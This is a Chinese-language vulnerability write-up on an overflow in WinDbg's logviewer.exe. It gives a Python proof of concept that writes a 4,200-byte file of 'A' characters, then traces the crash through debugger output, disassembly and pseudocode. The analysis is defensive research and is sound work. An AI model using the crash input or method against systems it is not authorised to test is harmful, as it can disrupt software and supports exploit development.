Windbg logviewer.exe缓冲区溢出漏洞

作者: k0shl 转载请注明出处,作者博客:https://whereisk0shl.top


漏洞说明


软件下载:
https://download.csdn.net/download/is2120/8957191

PoC:

#!/usr/bin/python

s = open("log.lgv","w")
poc = "\x41" * 4200
s.write(poc)
s.close()

测试环境:
Windows 7 sp1


漏洞复现


根据exploit-db上的描述,我编写了一个可以触发崩溃的PoC,logviewer.exe是Windbg用于处理调试日志的程序,在此程序处理.lgv格式日志文件的时候存在缓冲区一处漏洞,原因是对文件内容读取时,没有对文件长度进行有效检查,从而导致溢出的发生,下面对此漏洞进行详细分析。

首先打开logviewer,选择生成的PoC,打开之后logviewer发生崩溃,附加调试器,到达漏洞现场。

0:000> g
(cec.514): Access violation - code c0000005 (!!! second chance !!!)
eax=00f640ac ebx=00000000 ecx=0000082b edx=00000000 esi=00f62000 edi=01049e20
eip=77c16fa3 esp=0006fcc8 ebp=0006fcd0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
msvcrt!memcpy+0x33:
77c16fa3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

可以发现问题出现在memcpy函数中,esi处于一处非法内存,也就是一个堆空间,这片空间没有被初始化。

0:000> dd esi
*** ERROR: Module load completed but symbols could not be loaded for C:\download\WinDbg(x86)\WinDbg(x86)\logviewer.exe
00f62000  ???????? ???????? ???????? ????????
00f62010  ???????? ???????? ???????? ????????
00f62020  ???????? ???????? ???????? ????????
00f62030  ???????? ???????? ???????? ????????
00f62040  ???????? ???????? ???????? ????????
00f62050  ???????? ???????? ???????? ????????
00f62060  ???????? ???????? ???????? ????????
00f62070  ???????? ???????? ???????? ????????

下面通过kb命令看一下堆栈调用。

0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
0006fcd0 0100e02e 01047e20 00f60000 000040ac msvcrt!memcpy+0x33
0006fd34 0100e243 00170280 00000058 00170280 logviewer+0xe02e
0006fd98 0101326a 00170280 00000000 00000000 logviewer+0xe243
0006fdac 01013a5d 00170280 00000064 00000000 logviewer+0x1326a
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\USER32.dll - 
0006fdf4 77d18734 00170280 00000111 00000064 logviewer+0x13a5d

漏洞分析


跟踪0100e02e地址位置的函数调用,往上回溯的过程中,在该函数里发现了一处有意思的call调用。

.text:0100DF2C                 push    0               ; hTemplateFile
.text:0100DF2E                 push    10000080h       ; dwFlagsAndAttributes
.text:0100DF33                 push    3               ; dwCreationDisposition
.text:0100DF35                 push    0               ; lpSecurityAttributes
.text:0100DF37                 push    1               ; dwShareMode
.text:0100DF39                 push    80000000h       ; dwDesiredAccess
.text:0100DF3E                 push    offset FileName ; lpFileName
.text:0100DF43                 call    ds:CreateFileA

在0100DF43位置下断点,重新启动程序,并打开PoC,命中断点。

Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=7c92f641 edx=00000007 esi=01013730 edi=0006fe5c
eip=0100df43 esp=0006fcc8 ebp=0006fd34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
logviewer+0xdf43:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
0100df43 ff1588100001    call    dword ptr [logviewer+0x1088 (01001088)] ds:0023:01001088={kernel32!CreateFileA (7c801a28)}

这时候观察一下CreateFileA函数的传参情况。

0:000> dd esp
0006fcc8  0104bf88 80000000 00000001 00000000
0006fcd8  00000003 10000080 00000000 f663c18d
0006fce8  00a53e40 010274d0 00a53e40 00a53e40
0006fcf8  0006fd30 0100d18a 002b015e 010274d0
0006fd08  00000000 00001000 00010000 7ffeffff
0006fd18  00000001 f663c18d 0000024a 00010000
0006fd28  0006fe78 01023c6b ffffffff 0006fd98
0006fd38  0100e243 002b015e 00000058 002b015e
0:000> dc 0104bf88
0104bf88  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
0104bf98  74655320 676e6974 64415c73 696e696d   Settings\Admini
0104bfa8  61727473 5c726f74 e6c3c0d7 676f6c5c  strator\....\log
0104bfb8  76676c2e 00000000 00000000 00000000  .lgv............

可以看到,这里获取的正是PoC的文件,接下来继续跟踪代码执行。

0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=01c90002 esi=01013730 edi=0006fe5c
eip=0100df49 esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
logviewer+0xdf49:
0100df49 a3107a0401      mov     dword ptr [logviewer+0x47a10 (01047a10)],eax ds:0023:01047a10=ffffffff
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=01c90002 esi=01013730 edi=0006fe5c
eip=0100df4e esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei ng nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000293
logviewer+0xdf4e:
0100df4e 833d107a0401ff  cmp     dword ptr [logviewer+0x47a10 (01047a10)],0FFFFFFFFh ds:0023:01047a10=000001e8
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=01c90002 esi=01013730 edi=0006fe5c
eip=0100df55 esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
logviewer+0xdf55:
0100df55 7517            jne     logviewer+0xdf6e (0100df6e)             [br=1]
0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=01c90002 esi=01013730 edi=0006fe5c
eip=0100df6e esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
logviewer+0xdf6e:
0100df6e 6a00            push    0

在上述汇编代码中执行了一次判断,然后跳转的操作,在CreateFile之后,可见会对这个文件进行一次初步的判断,返回文件句柄,如果句柄存在,则会进入接下来的代码执行,通过IDA观察0100df6e地址的上下文。

.text:0100DF6E loc_100DF6E:                            ; CODE XREF: sub_100DE60+F5j
.text:0100DF6E                 push    0               ; lpFileSizeHigh
.text:0100DF70                 mov     edx, hFile
.text:0100DF76                 push    edx             ; hFile
.text:0100DF77                 call    ds:GetFileSize

在loc_100df6e块中,执行了一处GetFileSize,会获取文件大小,看一下获取文件的过程。

0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=000001e8 esi=01013730 edi=0006fe5c
eip=0100df77 esp=0006fcdc ebp=0006fd34 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
logviewer+0xdf77:
0100df77 ff155c100001    call    dword ptr [logviewer+0x105c (0100105c)] ds:0023:0100105c={kernel32!GetFileSize (7c810b07)}
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df7d esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
logviewer+0xdf7d:
0100df7d 8945f0          mov     dword ptr [ebp-10h],eax ss:0023:0006fd24=00010000

看一下在调用结束后,eax的值变成了1068,转换成十进制就是4200,正是PoC的大小,接下来继续单步跟踪。

0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df80 esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
logviewer+0xdf80:
0100df80 837df0ff        cmp     dword ptr [ebp-10h],0FFFFFFFFh ss:0023:0006fd24=00001068
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df84 esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
logviewer+0xdf84:
0100df84 7519            jne     logviewer+0xdf9f (0100df9f)             [br=1]
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df9f esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
logviewer+0xdf9f:
0100df9f 6a00            push    0

继续跳转,仍然是判断刚才获取文件大小是否成功,成功后会调转到0100df9f地址位置,通过IDA看一下。

.text:0100DF9F loc_100DF9F:                            ; CODE XREF: sub_100DE60+124j
.text:0100DF9F                 push    0               ; lpName
.text:0100DFA1                 push    0               ; dwMaximumSizeLow
.text:0100DFA3                 push    0               ; dwMaximumSizeHigh
.text:0100DFA5                 push    2               ; flProtect
.text:0100DFA7                 push    0               ; lpFileMappingAttributes
.text:0100DFA9                 mov     eax, hFile
.text:0100DFAE                 push    eax             ; hFile
.text:0100DFAF                 call    ds:CreateFileMappingA

这里在loc_100df9f块会调用CreateFileMappingA函数,这个函数会创建一个文件的内核映像,单步跟踪。

0:000> p
eax=000001e8 ebx=00000000 ecx=7c93003d edx=000001e8 esi=01013730 edi=0006fe5c
eip=0100df77 esp=0006fcdc ebp=0006fd34 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
logviewer+0xdf77:
0100df77 ff155c100001    call    dword ptr [logviewer+0x105c (0100105c)] ds:0023:0100105c={kernel32!GetFileSize (7c810b07)}
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df7d esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
logviewer+0xdf7d:
0100df7d 8945f0          mov     dword ptr [ebp-10h],eax ss:0023:0006fd24=00010000

执行完毕后仍然是判断是否成功,并跳转。

0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df80 esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
logviewer+0xdf80:
0100df80 837df0ff        cmp     dword ptr [ebp-10h],0FFFFFFFFh ss:0023:0006fd24=00001068
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df84 esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
logviewer+0xdf84:
0100df84 7519            jne     logviewer+0xdf9f (0100df9f)             [br=1]
0:000> p
eax=00001068 ebx=00000000 ecx=00000000 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100df9f esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000217
logviewer+0xdf9f:
0100df9f 6a00            push    0

然后到了一处很关键的调用。

0:000> p
eax=000001ec ebx=00000000 ecx=0006fc3c edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfdb esp=0006fcd8 ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xdfdb:
0100dfdb 6a04            push    4
0:000> p
eax=000001ec ebx=00000000 ecx=0006fc3c edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfdd esp=0006fcd4 ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xdfdd:
0100dfdd 8b0d147a0401    mov     ecx,dword ptr [logviewer+0x47a14 (01047a14)] ds:0023:01047a14=000001ec
0:000> p
eax=000001ec ebx=00000000 ecx=000001ec edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfe3 esp=0006fcd4 ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xdfe3:
0100dfe3 51              push    ecx
0:000> p
eax=000001ec ebx=00000000 ecx=000001ec edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfe4 esp=0006fcd0 ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xdfe4:
0100dfe4 ff1554100001    call    dword ptr [logviewer+0x1054 (01001054)] ds:0023:01001054={kernel32!MapViewOfFile (7c80b995)}
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=7c92e4f4 esi=01013730 edi=0006fe5c
eip=0100dfea esp=0006fce4 ebp=0006fd34 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
logviewer+0xdfea:
0100dfea a3187a0401      mov     dword ptr [logviewer+0x47a18 (01047a18)],eax ds:0023:01047a18=00000000

0100dfe4位置会调用MapViewOfFile来映射文件,这个过程会对文件内容进行获取,在执行完毕后,观察一下eax的地址里的值。

0:000> dc eax
00f60000  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60010  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60020  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60030  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60040  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60050  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60060  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60070  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

已经读取到这个位置的值,接下来继续执行。

0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f61068 esi=01013730 edi=0006fe5c
eip=0100e01e esp=0006fce0 ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xe01e:
0100e01e a1187a0401      mov     eax,dword ptr [logviewer+0x47a18 (01047a18)] ds:0023:01047a18=00f60000
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f61068 esi=01013730 edi=0006fe5c
eip=0100e023 esp=0006fce0 ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xe023:
0100e023 50              push    eax
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f61068 esi=01013730 edi=0006fe5c
eip=0100e024 esp=0006fcdc ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xe024:
0100e024 68207e0401      push    offset logviewer+0x47e20 (01047e20)
0:000> p
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f61068 esi=01013730 edi=0006fe5c
eip=0100e029 esp=0006fcd8 ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xe029:
0100e029 e846870000      call    logviewer+0x16774 (01016774)

在0100e029位置会调用memcpy操作,而memcpy操作的参数是

Breakpoint 0 hit
eax=00f60000 ebx=00000000 ecx=0006fc70 edx=00f62710 esi=01013730 edi=0006fe5c
eip=0100e029 esp=0006fcd8 ebp=0006fd34 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
logviewer+0xe029:
0100e029 e846870000      call    logviewer+0x16774 (01016774)
0:000> dd esp
0006fcd8  01047e20 00f60000 000040ac a25d8020
0006fce8  00a53e40 010274d0 00a53e40 00a53e40
0006fcf8  0006fd30 0100d18a 000b015c 010274d0
0006fd08  00000000 00001000 00010000 7ffeffff
0006fd18  00000001 a25d8020 0000024a 00002710
0006fd28  0006fe78 01023c6b ffffffff 0006fd98
0006fd38  0100e243 000b015c 00000058 000b015c
0006fd48  00000000 01001f80 00000000 00000000
0:000> dc 00f60000
00f60000  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60010  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60020  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60030  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60040  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60050  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60060  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
00f60070  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

正是畸形字符串,来看一下伪代码。

int __stdcall sub_100DE60(HWND hwnd)
{
  int v2; // [sp+4h] [bp-4Ch]@4
  SCROLLINFO v3; // [sp+1Ch] [bp-34h]@20
  int v4; // [sp+3Ch] [bp-14h]@16
  DWORD v5; // [sp+40h] [bp-10h]@10
  int v6; // [sp+4Ch] [bp-4h]@3

  if ( dword_1047E1C )
    (**(void (__thiscall ***)(_DWORD, _DWORD))dword_1047E1C)(dword_1047E1C, 1);
  v6 = 0;
  if ( operator new(0x54u) )
    v2 = sub_10032F0("Thrd");
  else
    v2 = 0;
  v6 = -1;
  dword_1047E1C = v2;
  if ( !v2 )
  {
    sub_100AEC0("OnNewLogFile: Failed to allocate memory\n");
    return 0;
  }
  sub_100DD70();
  hFile = CreateFileA(&FileName, 0x80000000, 1u, 0, 3u, 0x10000080u, 0);
  if ( hFile == (HANDLE)-1 )
  {
    sub_100AEC0("Cannot open the log file: \"%s\"\n");
LABEL_22:
    sub_100AEC0("OnNewLogFile failed. File: '%s'");
    sub_100DD70();
    return 0;
  }
  v5 = GetFileSize(hFile, 0);
  if ( v5 == -1 )
  {
    GetLastError();
    sub_100AEC0("GetFileSize failed. status 0x%x\n");
    goto LABEL_22;
  }
  hFileMappingObject = CreateFileMappingA(hFile, 0, 2u, 0, 0, 0);
  if ( !hFileMappingObject )
  {
    sub_100AEC0("CreateFileMapping failed\n");
    goto LABEL_22;
  }
  Src = MapViewOfFile(hFileMappingObject, 4u, 0, 0, 0);
  if ( !Src )
  {
    sub_100AEC0("MapViewOfFile failed\n");
    goto LABEL_22;
  }
  dword_1047A1C = (int)Src + v5;
  memcpy(&unk_1047E20, Src, 0x40ACu);

可以看到,最后memcpy拷贝的Src,Src获取正是上面获取到的,而在MapViewOfFile之后并没有对Src内容进行检查,从而导致了缓冲区溢出的发生。

Comments
Write a Comment